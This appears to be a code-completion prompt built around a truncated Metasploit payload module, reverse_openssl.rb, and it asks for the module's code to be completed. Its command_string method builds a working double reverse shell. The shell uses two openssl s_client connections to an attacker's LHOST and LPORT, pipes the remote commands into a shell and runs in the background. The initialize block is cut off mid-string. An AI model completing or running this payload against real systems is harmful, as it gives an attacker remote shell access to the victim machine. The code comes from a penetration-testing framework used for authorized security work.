You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: reverse_openssl.rb
    path of file: ./repos/metasploit-framework/modules/payloads/singles/cmd/unix
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = 182

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
     'Name'          => 'Unix Command Shell, Double Reverse TCP SS
    
  def command_string
    cmd =
      "#{datastore['ShellPath']} -c '(sleep #{3600+rand(1024)}|" +
      "#{datastore['OpenSSLPath']} s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}|" +
      "while : ; do #{datastore['ShellPath']} && break; done 2>&1|" +
      "#{datastore['OpenSSLPath']} s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}" +
      " >/dev/null 2>&1 &)'"
    return cmd
  end
end